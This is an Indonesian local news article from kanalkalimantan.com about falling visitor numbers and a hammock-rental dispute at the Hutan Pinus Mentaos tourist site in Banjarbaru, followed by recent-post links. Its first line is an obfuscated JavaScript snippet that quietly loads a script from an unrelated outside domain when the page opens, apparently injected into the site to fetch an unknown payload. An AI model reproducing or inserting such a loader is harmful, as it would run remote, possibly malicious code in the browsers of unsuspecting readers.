(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Soal Sewa Hammock di Wisata Hutan Pinus, Ali Yusuf: Penyewa Harus Diawasi


KANALKALIMANTAN.COM, BANJARBARU – Pasca Satpol PP Banjarbaru menciduk pasangan bermeseraan, kini Wisata Hutan Pinus di Kelurahan Mentaos, Kecamatan Banjarbaru Utara, sepi pengunjung.

Salah satu petugas parkir yang juga penyedia hammock alias tempat tidur gantung, Udin mengatakan, dalam beberapa hari terakhir hanya 2 atau 3 sepeda motor seharinya yang singgah. Imbasnya pada penyewa hammock kadang 1 hingga 2 orang.

“Sebelum viral kejadian itu ada 10 sepeda motor parkir, minimal ada 5 penyewa, kini turun,” katanya.

Kondisi ini membuat pendapatan harian Udin berkurang. Meski begitu, akunya, setiap akhir pekan pengunjung keluarga bedatangan, masih membantu pendapatan.
“Pengunjung harian kan kebanyakan anak sekolah, kalau Sabtu dan Minggu itu keluarga, jadi lumayanlah ada,” jelasnya.

 

Baca juga : Minyak Goreng Murah Tak Sentuh Pasar Tradisional di HSU, Masih Seharga Rp 20-21 Ribu per Liter

Sementara itu, Ketua Pengelola Wisata Hutan Pinus Mentaos, Ali Yusuf mengakui bahwa sedari awal sebelum penertiban Satpol PP, pihaknya sudah melarang penyewaan hammock. Karena menurutnya, selain tidak elok ternyata juga berdampak pada kondisi pohon-pohon pinus yang tumbuh.

“Ikatannya itu merusak pohon, sudah lama kami sampaikan sebelum kejadian Satpol PP itu,” jelas Ali Yusuf.

Beberapa masih tetap menyewakan hammock, sehingga ia hanya bisa berpesan untuk mengawasi dan mengontrol para penyewa.

Ali mengakui bahwa sejak kejadian penertiban Satpol PP itu, pengunjung turun. Namun, saat ini katanya berangsur normal.
“Hari biasa anak-anak muda bisa sampai 30 orang lebih, sekarang di bawah itu. Tapi untuk Sabtu dan Minggu masih banyak, 30 sampai 50 orang,” ungkapnya.

Berwisata di hutan kota Banjarbaru ini berbiaya sangat murah. Pengunjung cukup keluarkan ongkos parkir saja Rp 2.000.
Lain jika pengunjung menyewa panggung untuk acara. Ada biaya sewa panggung seharian full itu Rp 500 ribu dan gazebo Rp10 ribu sepuasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

17 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

8 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

9 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

This website uses cookies.